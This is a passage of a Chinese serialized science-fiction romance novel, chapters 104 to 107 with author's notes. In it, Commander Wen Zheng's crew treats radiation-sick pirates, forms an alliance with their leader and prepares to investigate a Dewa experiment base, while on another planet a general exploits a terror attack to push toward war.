闻铮转向赫尔：“赫尔，你发现了什么吗？” 赫尔微微皱起眉：“我检查了一下有症状和无症状的魁斗人，发现他们身体内部都有潜在的辐射症状，区别只是在于潜伏期还是爆发期，而且我抽查了六个人，无一例外，全都有。这是集体性的，和个人健康无关。” “……因为能源问题和引力吸引，我们在逃亡过程中不得已要在这颗星球迫降，但这里不是我们降落的第一位置。” 一个还有些虚弱的声音传来，主动开口的人，竟然是向星苑。 特娜伦看了她一眼，向星苑对她摇了摇头：“首领，这么多天，我们确实也束手无策了，总不能看大家都这样一个接一个死去。” 特娜伦几不可闻地叹了口气：“是的，我们是后面发现不对劲，才从降落的第一地点拼力逃过来的。如果说我们是在什么地方集体暴露在辐射范围内，只有那里了。” 闻铮追问：“所以你们迫降到哪里了？” 特娜伦看着他，缓缓道：“北区，德瓦帝国边境。” 闻铮心里一紧，脸色也阴沉了下来。 “那里看上去是一个军事基地，荒无人烟，我们发现是德瓦帝国边境之后，未免生事，立刻撤退回南区了。”特娜伦说，“德瓦人绝对发现了我们，但他们根本没有追上来。一直到刚才，我都百思不得其解，现在我明白了。” 裴简珩蓦地开口：“因为德瓦人知道，你们会陆陆续续死于辐射，根本不需要他们动手。”—— 作者有话说：违抗闻哥命令的小裴，让我们猜猜他会不会挨骂[化了] 第104章 休战吧 特娜伦默然, 点了点头。 “你们为什么不离开？”闻铮问，“这里已经是魁斗星的范围内了，没有魁斗政府驻扎吗？” “你可能不清楚, ”特娜伦缓缓道, “UNK-322星，名义上还是魁斗人和德瓦帝国各一半, 实际上，这颗行星已经越来越不适宜居住, 魁斗人的资源有限，不能再浪费在这里。南区原本的魁斗人都迁徙回了主星, 这里除了空壳，什么都没有。” “我们的救生舱燃料有限, 通讯设备也坏了, 无法向行星外呼叫。”向星苑也轻声说, “同伴也在一个接一个地倒下。” “你们的通讯没有坏, ”裴简珩说, “UNK-322星地表不知道有什么东西阻碍了通讯磁场，我们在进入大气之后也无法接通外界通讯了。” 特娜伦眉头紧皱：“什么？” “……德瓦基地……怪不得！” 这时, 一直沉默的赫尔却突然喃喃出声。他拉出了通讯的悬浮屏和医疗设备的数据测算看板，在一通没人看得明白的操作以后, 他转向了闻铮：“闻，我刚刚在扫描他们的身体指标的时候，发现了有几个数值很不正常。特娜伦刚刚提到他们曾经落地在德瓦基地，我有一个大胆的想法。” 闻铮微微挑眉：“有多大胆？” “非常大胆。”艾尔文医疗官把其他的数据全从看板上移除掉，只留下了一株植物，“我想用这个试一下。” 闻铮一怔：“蓟梨草？” 赫尔纠正他：“B-356。” 闻铮心里一动，模模糊糊地知道了赫尔的意思。 他们从那几个德瓦人手中抢回来的蓟梨草, 是混合了B-356物质的，赫尔的意思是将B-356提纯出来，也许会对这种辐射有帮助？ “从数据上看，B-356和这些辐射有着相同的——” 闻铮打断了他：“技术的事情我不懂，你来决定。我只关心你有多大把握？” 赫尔沉吟了一下，在悬浮看板上演练了一次模型模拟，叹了口气：“28.1%。” 特娜伦一头雾水：“你们在说什么？” 闻铮看向她，她才是魁斗星盗的首领，这些星盗把自己的性命交付给了她，所以这些决定需要她来做。 “我的医疗官有一个治疗方案，但风险很高，只有28.1%的成功率，你来决定是否要冒险。” 特娜伦眼瞳紧缩，身体着急地前探出来：“28.1%？！这太低了！” 向星苑坐在旁边，面色还有几分苍白，静静地问：“如果不做，他们有多大的死亡几率？” 赫尔道：“100%。” “为什么？你不是可以把他们冰冻起来吗？”特娜伦不解，“我们完全可以回到魁斗星再慢慢寻找其他几率大的治疗方案！” “不行的，”赫尔摇头，“我刚才看过了，冷冻状态只能延缓，不能完全中止这种辐射的恶化。” 向星苑转向特娜伦，轻声说：“看样子，我们别无选择了。” 这位魁斗女首领抿紧了唇，权衡利弊之后，她干脆利落地做了决定：“那就这么做吧，我总不可能看着我的人一个一个不明不白地死去！” 向星苑侧脸看向她，握住她的手默默地支持她的决定。 赫尔松了口气，他是个医生，不能眼睁睁地看着生命消亡，哪怕有一线生机他都想试试，所以他刚才真的很担心特娜伦会不敢冒险。 “我得先回星舰上一趟，”赫尔征询闻铮的允许，“在给他们治疗之前，我需要再确认一下B-356的浓度和剂量。” 闻铮颔首：“凯利斯，准备相位穿梭赫尔回舰。” 他的目光扫过黎晓，补充道：“还有黎晓。” 黎晓张了张嘴，还是把浮到了喉咙口的话咽了下去。 他虽然还想和向星苑聊几句，但他也知道现在不是叙旧的好时机。 “……稍等一下。” 虽然黎晓没说什么，但还是有人出言打断了闻铮。 向星苑感激又内疚地看着黎晓：“黎晓哥，谢谢你当时给我的五万星币作为路费，但这笔钱在和那艘德瓦战舰交战的过程中遗落在主星舰上了。等我攒够了这笔钱，一定会还给你的！” 黎晓一愣，下意识地瞥了一眼裴简珩，嘴上道：“没事，你——” 特娜伦却按开了逃生舱内的一个保险隔间，从里面拎出了一兜子星币现金：“这里有二十万，你先拿去五万还给他。” 裴简珩的目光落在那一兜子星币现金上，欲言又止。 闻铮低咳一声：“这二十万就是我们的钱。” 特娜伦：“？” 裴简珩简单和她解释了一下这笔钱的由来，特娜伦恍然大悟，随后道：“不管之前它是谁的钱，但现在它是我的了。” 裴简珩：“……” 你还真是星盗，抢起钱来理不直气也壮。 闻铮却扭头看向了黎晓，显然，五万这个数额让他想到了什么。 果不其然，黎晓对向星苑笑了一下，伸手揪了揪她的兔子耳朵：“这五万星币也不是我的，是暗影组给我的，你要谢也该谢他们。” 向星苑瞪大眼睛。 闻铮纠正：“不是暗影组，是裴简珩个人出的钱。” 报销还没批呢。 不过黎晓……果然很让他惊讶。 他越发觉得，自己当时的那句话没有说错。 黎晓对弱势群体抱有珍贵的善意，也愿意为了弱势群体承担风险，他是那种会让这个世界变得更好的人。 而黎晓也注意到了闻铮看过来的眼神，有些内疚：“对不起闻哥，我不应该抗命，不应该鲁莽地穿梭过来——” “事态紧急，你获得原谅了。”闻铮对他笑笑，“并且……” 在黎晓眼中，闻铮此刻的神情温柔又诚挚，他认真地注视着自己，轻声说：“……我以你为荣，黎晓。” 凯利斯那边操作了相位穿梭，在被分解成原子的前一秒，黎晓的眼睛唰地红了。 …… 赫尔需要一个小时的时间来把B-356剥离出来进行实验，在这期间，所有人都只能干等着。 闻铮走出逃生舱，看到特娜伦坐在洼地旁边一块高高的岩石上，俯瞰着这些逃生舱和星盗们，不知道在想什么。 他犹豫了一下，不请自来地也翻了上去，坐在了这位半小时前还叫嚣着要把他的皮扒下来挂在墙上的星盗首领身边。 她抬抬眼皮，从鼻子里哼了一声。 闻铮也没惯着她：“你哼什么哼？是你主动找我们麻烦的，我还没和你算账。” 特娜伦奇道：“你这人倒是挺有意思，连我说过的话都要再丢回来，这么记仇，还叫不和我算账？” 闻指挥官好笑地摇摇头：“休战吧，好吗？” 特娜伦嘴边也漾开一瞬笑意，虽然很快就消失无踪了。 “还是谢谢你了，”过了一会儿，她说，“我之前可是差点把你们全舰的人都杀了，你竟然还愿意对我们施以援手。” “我就算把你们也都杀了，又能怎样呢？”闻铮淡淡道，“人类不是你们的敌人，你们也不是人类的敌人，何必走到这一步。” “更何况，我还有个问题想问你。” 特娜伦疑惑地看过来：“降落在这里之后的事情我都告诉你们了，还有什么问题？” “上次在太空里，你说过一句话。” “你说，你可以考虑给我一个体面一点的死法，毕竟好久没有人能和你玩上这么一场追逐游戏了，刚刚那几个不知道是什么东西的杂种，实在是无趣至极。” 特娜伦无语地翻了个白眼：“就说你这人记仇你还不认，我都忘了我说过什么了，你他妈的一个字都没记错！” 闻指挥官把这句恶评有意忽略，继续问：“你说那几个艾尼默人和人类Beta是’不知道是什么东西’的杂种，这是什么意思？” “因为他们不是艾尼默人和人类，”特娜伦伸了个懒腰，漫不经心，“我不知道他们是怎么做到的，但他们是德瓦人。” “我已经知道了，”闻铮凝视着她，“我的问题是，你是怎么知道的？” 特娜伦这次沉默了好一会儿，才慢慢道：“是小苑看出来的。” “……向星苑？”闻铮一怔，“她怎么看出来的？” 特娜伦耸了耸肩：“我不知道，但她好像本来视力就有些问题，你们叫什么，色弱？色盲？具体的我不知道，我们是星盗，不是那些还有入职体检的正规机构。” 闻铮：“……” 特娜伦说话也蛮有意思的。 “那次我本来只是打算抢点东西就算了，但视频通讯接通以后，我说艾尼默人当舰长，好稀奇的事情。小苑却奇怪地问我，为什么要管一个德瓦人叫艾尼默人。” “我觉得事情不对劲，更何况那是德瓦人，”特娜伦眼底的憎恶和恨意一闪而过，“那就别想善了了！” “你是中立的魁斗人，魁斗人还没有正式加入联邦，”闻铮有些奇怪，“为什么你这么恨德瓦人？”—— 作者有话说：小剧场： 小裴:不对啊，5w是我的钱，20w也是我的钱，你用我的钱还我，怎么感觉还是我亏啊？ —— 感谢珍白雪w、34402499、秦长歌和西江月的营养液！ 掉落数据测算看板x1！ 第105章 你很爱他 特娜伦没有说话。 过了好一会儿, 望着下方的星盗们，她才缓缓开口：“我有一个女儿，和她很像, 又倔又犟, 有的是自己的想法，我管也管不住。” 闻铮有些惊讶, 目光也看向了那些星盗们：“哪个是你的女儿？” “她不在这里，”特娜伦说, “她背着我参军去了，七年前参了你们联邦的军。” 闻铮：“……” “一个魁斗人, 参战了联邦抵御德瓦帝国的军队，”闻铮笑着摇摇头, “还真不是一般的犟, 我也看得出来你确实是管不了她了。” 特娜伦笑了一下：“她参军的时候和小苑差不多大, 比她大两岁而已。她看不惯德瓦帝国的行事准则和武力统治, 和我吵着说, 一旦联邦战败，所有种族都是灭顶之灾, 魁斗人也不例外。” “她真的只有16岁吗？看问题的角度和深度，确实不像是还没成年的小朋友。” 闻铮不经意地垂眼, 看到在洼地东边的一块角落，居然是裴简珩在和向星苑聊天，不知道在说些什么。 特娜伦的目光也落在了东边的角落，只是她看的人不是裴简珩，而是向星苑。 那只是一次再寻常不过的打劫，一艘满载着货物的商用舰，在驶往克里斯托星球的半途中不幸地遇到了他们。而她在夺船以后前往物资舱清点战利品的时候, 发现了这个藏匿其中，手里还拿着匕首的小女孩。 她拿着匕首的手都还在微微颤抖，顶着一双软绵绵的兔耳朵，那双眼睛深处的恨意和怒火却让她看起来像一只幼狼，就像特娜伦的女儿离开那天一样。 也许是因为确实年纪大了，也许是因为她真的很想她，特娜伦放过了那艘船，没有赶尽杀绝。 只把这个艾尼默小女孩带走了。 在最开始的警惕和防御过后，向星苑终于愿意开口讲述自己的经历，特娜伦也给她讲了十六岁的年轻女星盗毅然决然离开他们加入联邦抵御战的故事，两个失去了最爱的人的灵魂越靠越近，好像在这个世界上又有了可以互相舔舐伤口的人。 她听见这个指挥官问：“战争结束了，她从联邦退役了吗？” “没有。”她也听见了自己平静的声音，仿佛是另一个人在说话，“在德瓦人三天的轰炸后，她留在了十八岁那一年的科托里战场上。你们联邦军部授予了她战争英雄的名誉，感激她以非联邦成员的身份为联邦所做的一切，把她残留的物品葬在了烈士陵园里，那是唯一还能找到的，有关于她的东西。” 闻铮张了张嘴，一时之间竟然说不出任何话，只能徒劳地说上一句干巴巴的节哀。 “所以当我看到小苑的时候，我好像又看到了她。”特娜伦低头笑了笑，“一样的倔强，一样的执着，一样有着巨大的潜力，也许宇宙想给我第二次机会，所以把小苑送到了我的面前。” 她转脸看向闻铮，那张坚毅深邃的脸上好似下定了某种决心：“我不喜欢联邦，但我更恨德瓦人。我觉得我们可以或许达成某种临时战略同盟，你帮我，我也帮你。” …… 而另一边，裴简珩也走出了逃生舰。 他望着眼前一望无际的沙海，再次回到这颗永远改变了他人生的星球上，他很难说清此刻的心情和思绪。 他怎么也没想到，随着事情的发展和线索的推进，兜兜转转，竟然还是回到了这里。 不只是他，还有闻哥。 都回到了这里。 他遥遥地看到了坐在特娜伦身侧的闻铮，眼底发涩。 是宇宙的安排，还是命运的指引？ 如今走到了这一步，他们都回到了最初命运交集的原点，他会想起来吗？ 但他能吗…… “在发呆吗？” 一个略显稚嫩的声音打断了裴简珩的思绪，他抬眼看去，是向星苑。 这个还不到他胸口的小女孩，仰头看着他，脸上有着赧然和后悔，还有丝丝缕缕的不安。 裴简珩对她点了点头，没说话。 他知道向星苑只是一个钻了牛角尖的小女孩，但他实在是过不了她伤了闻铮的这个坎。 “对不起。”向星苑轻声说，“我伤害了闻指挥官，是我错了。” 裴简珩垂眼看着她那双耷拉下来的兔耳朵，也只能叹一口气。 闻铮摆明了都不想计较，甚至他就是特意让向星苑扎的那一刀，但凡他真的要躲开，就凭这个小姑娘，根本不可能伤到闻铮一根汗毛。 这是闻铮自己要的某种“自我惩罚”，他在这里对一个小女孩置气又有什么用呢？ “别想了。”裴简珩放软了语气，“你们如果能把执念都放下一部分，也算是各自都得偿所愿。” 他看向向星苑胸口还沾染的血迹，觉得也有些刺眼：“我也要和你道一声歉，我对你下手太重了。” 如果不是赫尔在，他背对着她踹过去的那一脚，是真的有可能让向星苑没了半条命的。 向星苑的神色稍微放松了一些，摇摇头：“是我动手在先，你只是想保护闻指挥官，不要道歉，否则我的负罪感只会更深。” 周围又陷入了安静，只能听到偶尔风起时卷起沙粒的摩擦声。 “你很爱他，对吧？” 裴简珩眉心一跳，猛地朝她看去，向星苑歪着头对他笑。 “我——” “别否认，”向星苑有些俏皮，这个时候她才有点像一个14岁的小女孩，“你瞒不过我的。” 裴简珩失笑：“你又懂了——” “因为我看到了你看向他的眼神。” 向星苑轻轻道：“这种眼神我看到过，在戈维看向我哥的那双眼睛里。” 单纯的爱意已经不足以囊括那其中的感情，是得到了新生的救赎，是能够重新呼吸的氧气，是重启人生的锚点，也是支持这一条命、这一口气的唯一信念。 裴简珩收起了笑容，没有再反驳。 “他对你来说太重要，以至于你要不惜一切代价的跟随他，保护他。” “但你不是戈维，他也不是我哥。” 向星苑歪头看着他：“有的事情，你得让他自己做决定。” 过了一会儿，裴简珩伸出手，狠狠揉乱了向星苑的头发。 向星苑“啊！”了一声：“……你干嘛！” “装什么大人，”裴简珩弯下腰和她平视，“小朋友。” 裴简珩对向星苑翻他的白眼当做没看到，视线却又飘向了闻铮，他已经和特娜伦结束了对话，正从那块大石头上翻下来。 裴简珩最后拍了拍她的肩膀，朝闻铮那边大步走了过去。 闻铮刚从特娜伦那边离开没走几步，眼前就被一块高大的阴影笼罩了。 他抬眼看过去，裴简珩凝视着他，喉头滚动了一下，低声问：“可以聊一下吗？” …… 洼地都是星盗们的逃生舱，也没有封闭空间可以给他们谈话，所以两个人在洼地旁的山壁里找了个洞穴作为临时谈话室。 这个洞穴里还有点暗，裴简珩从通讯里拉出了一个悬浮屏当做光源扔到了半空中。 闻铮看了一眼那个光源，刚张开嘴，却被裴简珩抢先了。 他朝闻铮踏近了一步，低声说：“抱歉，闻哥，我刚刚不应该违抗您的命令。” 裴简珩这么积极主动地认错，倒是让闻铮一时之间有火也发不出来。 悬浮屏尽职尽责地当一个亮度不高的光源，闻铮的侧脸在光影下显得影影绰绰。 “我知道你是担心我，”他伸手把裴简珩的下巴抬起来，“但这是工作，哪怕我现在没有军衔，但在职级上我依旧是你的长官，你不能违背我的直接命令。” 裴简珩温顺地看着他，点头：“我明白，不会再发生这种事情了，我发誓。” 他都这么说了，闻铮也不想再不依不饶下去。他心里也知道，裴简珩的这次抗命，也只是因为担心他的身体而着急，而不是质疑他的权威。 在闻铮松开手的下一刻，裴简珩却轻轻抓住了他的手，贴在了自己脸上。 “闻哥，下一次再给出命令的时候，可以想一想自己吗？” 裴简珩用那双湛蓝色的眼睛凝视着他，一眨不眨，眼底有着恳切和心疼：“您没有做错什么，也做了所有您力所能及的事情，不要用这种方式惩罚自己，好吗？” “……” 惩罚。 闻铮垂下眼，虽然不想承认，但裴简珩确实说中了他心里一个隐秘的角落。 他嘴上不说，心里一直在为了戈维的死和正义天平的失衡而责怪自己，所以当向星苑拿着那把匕首朝他刺来的时候，他才会卸掉所有抵抗，任由匕首刺进他的肩头。 在那个瞬间，他心里有一个地方是松了一口气的。 好像这种自毁式的想法和做法，可以让他心里好过一些。 “你质疑的也没错，”闻铮动了动手指，轻轻抚过他的脸，“在那个瞬间，我确实让我的感性盖过了我的理性判断。” 闻铮倾身过去，亲了亲裴简珩的嘴唇：“抱歉，让你担心了。” 裴简珩看着自己坦诚的爱人，一把把他搂进了怀里，把他的头按进了自己的颈窝，似乎这样两个人就能一直你中有我我中有你地交缠下去。 就这样相拥了一会儿，裴简珩似乎找到了某种勇气，也下定了某种决心。 他轻轻拉开了这个拥抱，舔了舔有些干涩的唇，深吸了一口气。 “闻哥，我有个事情要和您说。”—— 作者有话说：小剧场： 向星苑：你们大人谈恋爱也蛮复杂的= = 第106章 实验基地 “实验……基地？” 闻铮有些犹豫地吐出了这两个字, 显然没想到。 此刻他们两个在洞穴里找了个地方坐下来，裴简珩半搂着他，和他分享了一个信息。 “嗯, ”裴简珩低声说, “如果德瓦军部没有在那次混乱后撤走，那就还在这颗星球的北区。” 实验基地, 德瓦军部，裴简珩还知道…… 这些信息的组合只是在闻铮脑子里转了个圈, 他就隐隐猜到了。 他搭上了裴简珩的右手，和他五指紧扣, 试探地问：“这里是不是——” 裴简珩右手和他紧握，左手拉起了自己的衬衫。哪怕是在有些昏暗的灯光下, 他胸膛上那几个圆形伤疤也清晰可见。 闻铮听到他的声音缓缓地响起：“是, 当年我就是在这个基地被进行了基因改造, 只是那时候还没有辐射这回事。” 他看着自己Alpha身上的伤疤出神, 伸手轻轻地摸了过去, 不带情|欲，不带评判, 只有心疼和爱怜。 裴简珩啊……自己也苦得一塌糊涂，还执着地非要跟在他身边, 陪他，救他。 “你觉得他们还在继续进行基因实验吗？”闻铮轻声问。 裴简珩摇头：“我不知道。有可能他们还在为了第三次星际战争而尝试，也有可能他们发现无法量产，所以放弃了。” “不管怎样，”闻铮下定了某个决心，“我们都得去确认，如果他们还在继续进行这种实验, 那这个基地就必须被捣毁。” 裴简珩侧脸看他，俯身过去在他唇上亲了亲，在静默过后，笑道：“……好，我们过去。” …… “你疯了？” 小小的逃生舱被召开了第二次会议，在听到闻铮的话之后，特娜伦几乎不敢相信自己的耳朵。 “你要冒着辐射危险送上门去？我是说了我们可以结为临时同盟，但不是这种送死同盟！” 是疯了吧？ 不赶紧离开这颗辐射星球，还要主动跑到德瓦帝国边境去？！ 她看向这个年轻指挥官的眼神好像在看一个怪物。 闻铮笑了一下：“别这么惊讶，我不会让你们无谓地送死。” 他按通了和DEHWA-2075的视讯通话，下一秒，顶着棕色长波浪的高挑美女以3维全息投影的形象出现在他们面前，把特娜伦和向星苑吓了一跳。 闻铮简单介绍了一下：“这是我的科学官，茱莉。” 程迹对她们点头示意了一下，又把目光转回闻铮身上：“指挥官，按照你刚刚和我说的，我已经做好了勘探和测算实验，你的猜想是对的。” 闻铮神色一松，果然…… 特娜伦皱眉：“什么猜想？” “你有没有想过，为什么那些德瓦军部的人可以在辐射下生存，你们却不行？”闻铮问她，“魁斗人和德瓦人有着共同的种族起源，无论是你们的基因还是生理结构都高度相似，如果你们会受到辐射的影响，他们为什么不会？” 特娜伦一怔。 对啊…… 闻铮坐在主位，双手在桌子上交叉，继续说：“所以我有几个猜想。第一，他们有某种特效药物，可以保护他们不受到辐射的伤害，但这个我们现在无从验证；第二，他们有某种防护措施，能够从物理层面进行辐射隔绝。” 程迹微微一笑：“事实证明，确实是第二种。” 他的全息影像张开双手，DEHWA-2075的模型出现在他双手之间：“德瓦军部的战舰是有某种特定金属制成的，我计算过了，可以隔绝99.998%的辐射来源，” “剩下的0.002%不会对人体造成致命的危害，我已经和赫尔讨论过了，可以通过药物的辅助作用抵消。” “你也说了是德瓦战舰，”特娜伦双手环胸，“我们上哪儿搞德瓦战舰？” 闻铮摸了摸鼻尖。 程迹把手里那个小小的模型放大，对特娜伦露齿一笑。 特娜伦先是莫名其妙，她看了一眼那个模型，没当回事。下一秒却好像突然注意到了什么，把头转了回来，闻铮都仿佛能听见她脖子发出嘎吱嘎吱的声音。 她一字一顿：“这、是、什、么？” 闻铮目移：“这是茱莉的星舰。” 特娜伦看着那艘眼熟的星舰，对这个把她的钢铁之心打成筛子的罪魁祸舰记忆深刻。这些天晚上睡不着觉，她就在心里咬牙切齿，赌咒发誓要报复回去，否则她就不叫特娜伦！ 结果—— “我|操|你——” 她暴怒，火气上头也忘记眼前的茱莉只是一个全息投影，一跃而起就要冲过去暴揍，被理智尚存的向星苑拦腰死死抱住。 闻铮轻咳一声：“既然大家已经达成一致了，我们就来讨论一下具体的行动战略吧。” 特娜伦痛骂：“谁他老子的和你达成一致了？！啊？！” 闻指挥官和裴简珩对视一眼，都在对方眼底看到了一丝笑意，并且决定当做没听见。 …… 7号星 江悦坐在上将办公室的门口，烦躁地又一次结束通讯。她已经尝试联系了闻铮很多次，但都没有接通。 林瑜淞也联系不上他们，可以说，破晓号现在处于失联的状态，这让她心里不得不担忧。 于此同时，还有一个迫在眉睫的事—— “江指挥官，”一个Beta秘书对她点头示意，“您可以进去了。” 江悦深吸一口气，推开了门，房间里面的段上将正苍白着一张脸坐在办公桌后面，看到她进来，弯起了那双像狐狸一样的眼睛。 “是有这次袭击的进展了吗？” 江悦“嗯”了一声，段洄的秘书轻轻地关上了门。 段洄示意她在桌子对面坐下，江悦照做了，看着他还没有什么血色的脸，挑眉：“看样子你的身体还没养好。” “我可是断了一条腿，”段洄理所当然，“完完全全地断了，当然要修整一段时间。” 江悦：“……” 按照现在的医学技术，断了一条腿而已，三个小时就能活蹦乱跳了，也不知道这位段上将到底在装什么。 言归正传，她把对应的证据包展示在悬浮屏上推给段洄：“暗影组调查发现，在恐怖袭击的现场有德瓦帝国哨兵1军的军徽，这场袭击的引爆需要有人在现场操作。我们通过调查发现唯一有可疑的是一位中校，迈克尔中校，他名下的账户在案发前几天被转入了一大笔资金。” 段洄脸上没有什么表情，手指无意识地点着桌面：“所以你的意思是说，联邦7号星的这位迈克尔中校，为了钱，协助德瓦帝国杀了15名军官和警官，对吗？” “我没说，这也不是我的意思。”江悦眉心微皱，“我只是把事实告诉你，但如果你问我，我觉得这里面的疑点还有很多，比如迈克尔中校为什么要去银行把这笔钱作为可疑资产冻结？德瓦人真的会用这么蠢的办法贿赂联邦军官——” “好了，”段洄打断了她，“你很出色地已经完成了你的工作，剩下的事情就交给我吧。” 江悦没说完的话卡在了喉咙里，难以置信：“……什么？” “你听到我的话了，”段洄垂下眼，他的脸上已经没有了平时那张虚伪的笑容，棕色的眼睛里毫无温度，“我们已经有了调查结果，我会立刻召开联邦对外发布会，向德瓦帝国表达星际联邦的谴责和追责。” “如果德瓦帝国不为这次恐｜怖｜袭击负责，联邦会就此宣战。” “而从现在开始，没有我的命令，暗影组所有人都不被允许再追查下去，明白了吗？” 江悦退后一步，看着眼前这个突然变得陌生和骇人的Alpha上将，心脏几乎要跳出来。 她突然意识到，段洄……他根本就不是为了调查这次袭击的真相！他也根本不在乎真正的事实是什么！ 他要把7号星的和平毁于一旦，而她却让自己和暗影组成了他手里那把即将沾满鲜血的枪！ …… 江悦失魂落魄地回到了东四区警局，她现在的脑子很乱，冥冥之中她好像知道自己做错了什么事情，但又想不清楚到底是从哪里开始行差踏错，导致一切好像都朝着无法控制的方向前行。 她木然地路过了一楼的调度前台，连罗斯警长和她打招呼都充耳不闻。 罗斯警长打招呼的动作停顿了两秒钟，那张机械和类人交融的二分脸上浮现了陷入思考的神色。 江悦回到了暗影组，此刻这里已经空无一人。 窗外的月光是这件办公室唯一的光源，她抬眼看去，凯利斯和裴简珩的工位已经好久都没有人坐过了，如果不是机器人每天在进行打扫，这里早就落灰了。 而那间独立的指挥官办公室…… 江悦看着那间玻璃房，眼睛红了起来。 她想起了闻哥在那间办公室里和她说，该感到羞耻的人并不是她； 闻哥在那里对她笑，说欢迎她加入暗影组； 也是在这里，闻哥把暗影组指挥官的徽章给了她，跟她说他知道她能做到。 但她好像……辜负了闻哥对她的信任。 她不由自主地卷进了政治斗争里，又迫不得已地让自己、让暗影组成为了段洄的一枚棋子和工具。 她错了，错在对自己野心的放任； 闻哥也错了，错在对自己能力的信任。 ……她不配当这个代理指挥官。 这时，身后的楼梯上传来了轻轻的脚步声。 “你见完段洄了……你怎么了？” 江悦转过身，看到了林瑜淞惊讶的脸—— 作者有话说：小剧场： 特娜伦：我屮艸芔茻—— 邪恶北极兔（露齿一笑） —— 感谢珍白雪w、34402499的营养液！掉落德瓦战舰模型x1！ 第107章 元帅阁下 实验基地内部是红与黑的主色调, 让这里看上去相当的压抑和窒息。走廊上偶尔走过的德瓦人也是神色冷漠，好像没有温度的机器人。 倏地，遍布整个基地的广播开始播报, 机械的声音响起：“请注意, DEHWA-3567即将降落，奥克斯·奴瓦辛戈元帅及护卫队莅临, 基地所有人做好最高级别迎接准备！” “重复一遍……奥克斯·奴瓦辛戈元帅及护卫队莅临，……做好最高级别迎接准备！” 正在最大的实验室外侧观察的高大男人脚步一顿, 有些惊讶。 元帅怎么会突然莅临？ 他刚刚才准备发送实验进度的好消息，这么巧元帅就来了？ 他脚跟一转, 立刻从实验室出去，准备前往基地入口迎接他们德瓦帝国历史上最年轻的元帅大人。 一路上, 遇到的所有人都对他这个实验基地的负责人鞠躬行礼。 没走几步, 另一个脸上有一道伤疤的德瓦人朝他走了过来, 在行礼过后对他汇报：“克劳大人, 我们已经紧急安排了奥克斯元帅阁下的莅临仪式, 但由于时间关系，有很多都来不及准备。” “哈维, 确保奥克斯元帅阁下能吃到他最喜欢的食物，从饲养圈挑一个上等的货色出来, ”克劳的声音听起来像是被砂纸打磨过一样嘶哑难听，“其他的我们都可以再祈求原谅。” “是！” 基地护卫队首领哈维深深地鞠躬，随后退下。 又走了一会儿，克劳来到了实验基地的入口，广播的声音还在尽职尽责地响起：“DEHWA-3567正在接近，安全代码通过，基地防护罩已打开, DEHWA-3567将于十秒后降落入港，10、9、8……” 克劳深吸一口气，和安排好事宜后赶来的哈维交换了一个紧张中夹杂着惊惧的眼神，沙哑着声音道：“列队！” 实验基地的所有护卫和科学家都精神一紧。 十秒后，一艘德瓦战舰赫然驶入了实验基地的入口。 克劳紧紧盯着这艘德瓦战舰，直到看到舱门开启，随后有三个身影缓缓从战舰中走了出来。？ 克劳认出了为首的德瓦人，身形高大，面容阴郁冷邪，除了他们的元帅阁下之外，绝无他人！ 他抬手示意，所有德瓦人都在此刻整齐地剁了四次脚，军靴鞋跟和地面发出令人牙酸的声音，他们左手握拳锤了右胸口四次，发出了整齐划一的宣誓。 “拜见元帅阁下！帝国万岁！” “拜见元帅阁下！帝国万岁！” “拜见元帅阁下！帝国万岁！” 奥克斯·奴瓦辛戈缓步走来，他的左手只锤了右胸口一次作为上对下的回礼，停顿了几不可见的一秒，方才道：“……帝国万岁。” 克劳没有注意到那一秒钟的停顿，恭敬地低头：“元帅阁下，我是新任的基地负责人克劳，请允许我为您接风洗尘，并在您方便的时候进行试验进度简报。” 奥克斯·奴瓦辛戈眯起那双浅金色的眼睛：“上一个负责人呢？我记得他叫——” “奎恩，元帅阁下，”克劳语气平静，“奎恩作为上一个基地负责人，接受了我的夺位挑战，我把他的头颅割了下来。” 奥克斯·奴瓦辛戈这才瞥了他一眼，哼了一声：“那就看你能在这个位置上坐多久了。” 克劳深深地鞠躬：“感谢您的祝愿。” 他站直身体，目光移向了奥克斯·奴瓦辛戈身后跟着的两个德瓦人，有一瞬间的犹豫：“元帅阁下，这次只有两位随同吗？” 奥克斯·奴瓦辛戈把目光移向他，轻柔地开口：“这种绝密情报，你是想让我带一百号人来吗？” 克劳一个激灵：“克劳不敢！克劳无意冒犯！” “我知道你无意冒犯。”奥克斯·奴瓦辛戈伸出手，他的手修长的吓人，他先是搭上了克劳的肩膀，又顺势握住了他的脖颈，在这个过程中克劳丝毫不敢有任何的挣扎，哪怕他的命就在奥克斯·奴瓦辛戈的翻手之间。 奥克斯·奴瓦辛戈猛地攥紧手，克劳在他手里发出了“嗬嗬”的声音，几秒后，他又大发慈悲地松开，克劳这才重新呼吸到氧气，开始大声的咳嗽。 奥克斯·奴瓦辛戈的声音轻柔又阴鸷：“否则，你现在已经是一个死人了。” 克劳忙着呼吸，其他人又根本不敢抬头看向他，所以根本没人注意到，这位残暴的德瓦帝国元帅，那双淡金色的眼睛在某一瞬间，变成了如墨一般的黑色，又在半秒钟后变了回来。 奥克斯·奴瓦辛戈扫了一眼身后跟着的亲卫队统领和总管，把克劳丢到一边，冷冷道：“现在，带我去看你们的成果。” 克劳气都没喘匀，先赶忙鞠躬行礼：“是！” 见奥克斯·奴瓦辛戈带着两个人抬脚要进去，连忙道：“元帅阁下请稍候，辐射的影响还在，请先用药物消除影响，以免损伤。” 说完，一个身影膝行上来，双手将一个盒子高高举过头顶，脸也不敢抬。 奥克斯·奴瓦辛戈扫了一眼盒子，拿起一支注射液在手里把玩：“每次都要来一遍，你们对这个东西的研究是没有任何精进吗？” 克劳恭敬地低下头：“元帅阁下，这正是我们要和您进行简报的一部分。我们已经研发出了对辐射罩的永久性免疫药物，只要这一支，您此后再次莅临，就无需再费心注射了。” 奥克斯·奴瓦辛戈眯了眯眼：“这还像句人话。” 他看到盒子里一共就三支，显然是只给他、他身后的护卫队统领以及私人总管准备了。 克劳还没反应过来，就感觉腹部一阵剧痛，整个人都被奥克斯·奴瓦辛戈踹飞了出去！ 他听到这位帝国最年轻的元帅阴恻恻的声音响起：“我的船上那么多人，你是打算让他们都死于辐射，然后亲自来给我开船吗？” “克劳不敢！” 克劳连忙爬起来：“克劳这就让人准备对应数量的免疫药物，送到元帅阁下的星舰上！” 奥克斯·奴瓦辛戈把目光又移向那个跪在地上的身影，后者正在瑟瑟发抖，连带着头上的羊角也在发颤，是这个基地的艾尼默奴隶。 克劳也注意到了奥克斯·奴瓦辛戈的眼神，他对基地护卫队首领哈维使了个眼色，后者立刻心领神会。 他爬起来，恭敬地带领奥克斯·奴瓦辛戈三人走进实验基地内：“元帅阁下，请允许我跟您进行简报……” 